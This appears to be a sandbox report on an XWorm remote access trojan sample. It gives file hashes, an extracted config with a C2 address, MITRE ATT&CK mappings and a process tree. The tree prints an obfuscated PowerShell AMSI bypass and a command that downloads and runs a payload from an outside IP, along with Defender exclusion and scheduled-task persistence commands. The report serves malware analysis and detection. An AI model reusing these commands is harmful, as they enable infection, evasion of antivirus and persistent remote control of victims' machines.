xworm | aefbc83f1cf4facc11486398011bea48b4eae99ff13bebff0981ebc837cd1ecf

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
08/03/2025, 19:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NukeCrypter/SspiCli.dll
Size

14.0MB
MD5

7697bb66b64ca30f53344f8b2a4dbd2a
SHA1

9fb9053ec18db85b9a55439b048fbbc694a1f9bb
SHA256

49861d9f7c2743bd8e7895ce173356f11474b393d9d8ecabb79b0fecc625e790
SHA512

7785d935729f342304ab87b4ea7d6050dfc76ff5e7a04123273769448a0de2e3d4c5df006136d47d6d3e476e8d23fdbb875484cd81ad29315faabe9ddea4fe79
SSDEEP

196608:y8qw4TxltmlBWDolz/tGTeyMdfkjIxj4/zHd1vqGyvnkYIiHuqZf:WxDolz/tGTeyMMIwHLiGyvnkC

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

45.137.201.27:2010

Mutex

NJSnJLx9hqfSdYjB

Attributes

Install_directory
%LocalAppData%
install_file
msedge.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral8/files/0x0002000000022ad3-37.dat	family_xworm
behavioral8/memory/4948-44-0x0000000000630000-0x000000000065E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe
4816	powershell.exe
4844	powershell.exe
2580	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
7	4620	Powermode.exe
8	3096	Powermode.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	Powermode.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	Powermode.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	msedge.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 6 IoCs

pid	Process
4620	Powermode.exe
3096	Powermode.exe
4948	msedge.exe
1084	msedge.exe
2752	msedge.exe
4956	msedge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3500	schtasks.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4620	Powermode.exe
3096	Powermode.exe
4620	Powermode.exe
3096	Powermode.exe
1440	powershell.exe
1440	powershell.exe
4816	powershell.exe
4816	powershell.exe
4816	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
2580	powershell.exe
2580	powershell.exe
2580	powershell.exe
4948	msedge.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	Powermode.exe
Token: SeDebugPrivilege	3096	Powermode.exe
Token: SeDebugPrivilege	4948	msedge.exe
Token: SeDebugPrivilege	1084	msedge.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	4948	msedge.exe
Token: SeDebugPrivilege	2752	msedge.exe
Token: SeDebugPrivilege	4956	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4948	msedge.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 408 wrote to memory of 2472	408	rundll32.exe	88
PID 408 wrote to memory of 3776	408	rundll32.exe	87
PID 408 wrote to memory of 2472	408	rundll32.exe	88
PID 408 wrote to memory of 3776	408	rundll32.exe	87
PID 2472 wrote to memory of 3096	2472	cmd.exe	92
PID 2472 wrote to memory of 3096	2472	cmd.exe	92
PID 3776 wrote to memory of 4620	3776	cmd.exe	91
PID 3776 wrote to memory of 4620	3776	cmd.exe	91
PID 3096 wrote to memory of 4948	3096	Powermode.exe	94
PID 3096 wrote to memory of 4948	3096	Powermode.exe	94
PID 4620 wrote to memory of 1084	4620	Powermode.exe	95
PID 4620 wrote to memory of 1084	4620	Powermode.exe	95
PID 4948 wrote to memory of 1440	4948	msedge.exe	98
PID 4948 wrote to memory of 1440	4948	msedge.exe	98
PID 4948 wrote to memory of 4816	4948	msedge.exe	102
PID 4948 wrote to memory of 4816	4948	msedge.exe	102
PID 4948 wrote to memory of 4844	4948	msedge.exe	104
PID 4948 wrote to memory of 4844	4948	msedge.exe	104
PID 4948 wrote to memory of 2580	4948	msedge.exe	106
PID 4948 wrote to memory of 2580	4948	msedge.exe	106
PID 4948 wrote to memory of 3500	4948	msedge.exe	108
PID 4948 wrote to memory of 3500	4948	msedge.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\NukeCrypter\SspiCli.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\my_script.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3776
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Downloads MZ/PE file
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Users\Admin\AppData\Roaming\msedge.exe
      "C:\Users\Admin\AppData\Roaming\msedge.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\my_script.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Downloads MZ/PE file
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3096
  - - C:\Users\Admin\AppData\Roaming\msedge.exe
      "C:\Users\Admin\AppData\Roaming\msedge.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1440
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2580
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3500

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Powermode.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\ProgramData\my_script.bat

Filesize
729B

MD5
092cabe7fe4773b78ff62f414633572f

SHA1
c9f77f261d45e394086f7bb23eb91b80b8d0b318

SHA256
85d5ee43057001a08fa00e02a4aaf7d84a2d4407f662fa9c22b16b22a9d0738b

SHA512
e5d1b866e5a50243f953b67f191c4185aecdc828e5641cae6f78486f71f337f3efedbcb6051586b886a3c321db6fb17f9fe276cbc9954e0abb41e0813589a022

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Powermode.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
750e4be22a6fdadd7778a388198a9ee3

SHA1
8feb2054d8a3767833dd972535df54f0c3ab6648

SHA256
26209c196c9c45202d27468ea707b2b46f375bb612d50271924a28f9210df6a1

SHA512
b0415087dfc32908b449b876b395a607698b0f7b72031916b6fe7c002e4b163ba318b7e85c8ce41f007429e666974c04967bc14345e3f4614e34d94f5c8ae804

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d80c45e0e047b75073a3d1c2710c68f

SHA1
babc73cf30327b36d184239a2747ec94d48929f4

SHA256
6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

SHA512
5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d00880c95e9a469875f6803963c56a62

SHA1
98ed9c4da14f16ef495bd20d5a80750204cba5a1

SHA256
e9cf09aad4dd4f3cd30887f4b9201a126f6c7c858ada5783870606e1a7aec544

SHA512
5366ce6af7b7b9665c8ddefdb62ee01f9d7e973831a74bf555031f223c7e69d4cb39f3b5af9fdfe34cdddd3781dc0a6e2ac46d81296b89e0278a2c17dd3bfbc0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5fbb56518e82d1b1e5ef6be3b6693880

SHA1
4e7671d0193b6f640d81b3fb91ac17ca67e0632b

SHA256
760d5623e712e53485c80330b3e2567577ffcf9397a94c3085bd1999f4650a40

SHA512
ff2fff83f094820da4157c907be06039dcc58b1a23e867ba58c0c3f40d8bbd90022161dc3d77c082a765f7f4104f683be995b994183d1899c73bd9131fe614d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
83685d101174171875b4a603a6c2a35c

SHA1
37be24f7c4525e17fa18dbd004186be3a9209017

SHA256
0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870

SHA512
005a97a8e07b1840abdcef86a7881fd9bdc8acbfdf3eafe1dceb6374060626d81d789e57d87ca4096a39e28d5cca00f8945edff0a747591691ae75873d2b3fb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s3lgtnpg.km2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\msedge.exe

Filesize
165KB

MD5
22a01fdc6d06f445af5de9759799225f

SHA1
1dde5be9d7c8a7ae68332c92a6e1263f24705f7c

SHA256
682acd04365f06fd83daa81b7bbd71665a60e729d6d4ecc3693eb486b8d4a13f

SHA512
e602f9d32b78c8d317698337ea2eb02b6bbf72cae13d3a5c3e3cee39c2445a8c2d85514eb7c741125364fee2f83582ce6a41154128a6c88c257cb5e41eb8f2d6

Download Submit
memory/3096-35-0x00007FFC48620000-0x00007FFC490E1000-memory.dmp

Filesize
10.8MB

Download
memory/3096-45-0x00007FFC48620000-0x00007FFC490E1000-memory.dmp

Filesize
10.8MB

Download
memory/3096-34-0x00007FFC48620000-0x00007FFC490E1000-memory.dmp

Filesize
10.8MB

Download
memory/3096-33-0x00007FFC48620000-0x00007FFC490E1000-memory.dmp

Filesize
10.8MB

Download
memory/3096-27-0x000001909B230000-0x000001909B252000-memory.dmp

Filesize
136KB

Download
memory/4620-32-0x00007FFC48620000-0x00007FFC490E1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-50-0x00007FFC48620000-0x00007FFC490E1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-36-0x00007FFC48620000-0x00007FFC490E1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-12-0x00007FFC48623000-0x00007FFC48625000-memory.dmp

Filesize
8KB

Download
memory/4948-44-0x0000000000630000-0x000000000065E000-memory.dmp

Filesize
184KB

Download
memory/4948-106-0x0000000000ED0000-0x0000000000EDC000-memory.dmp

Filesize
48KB

Download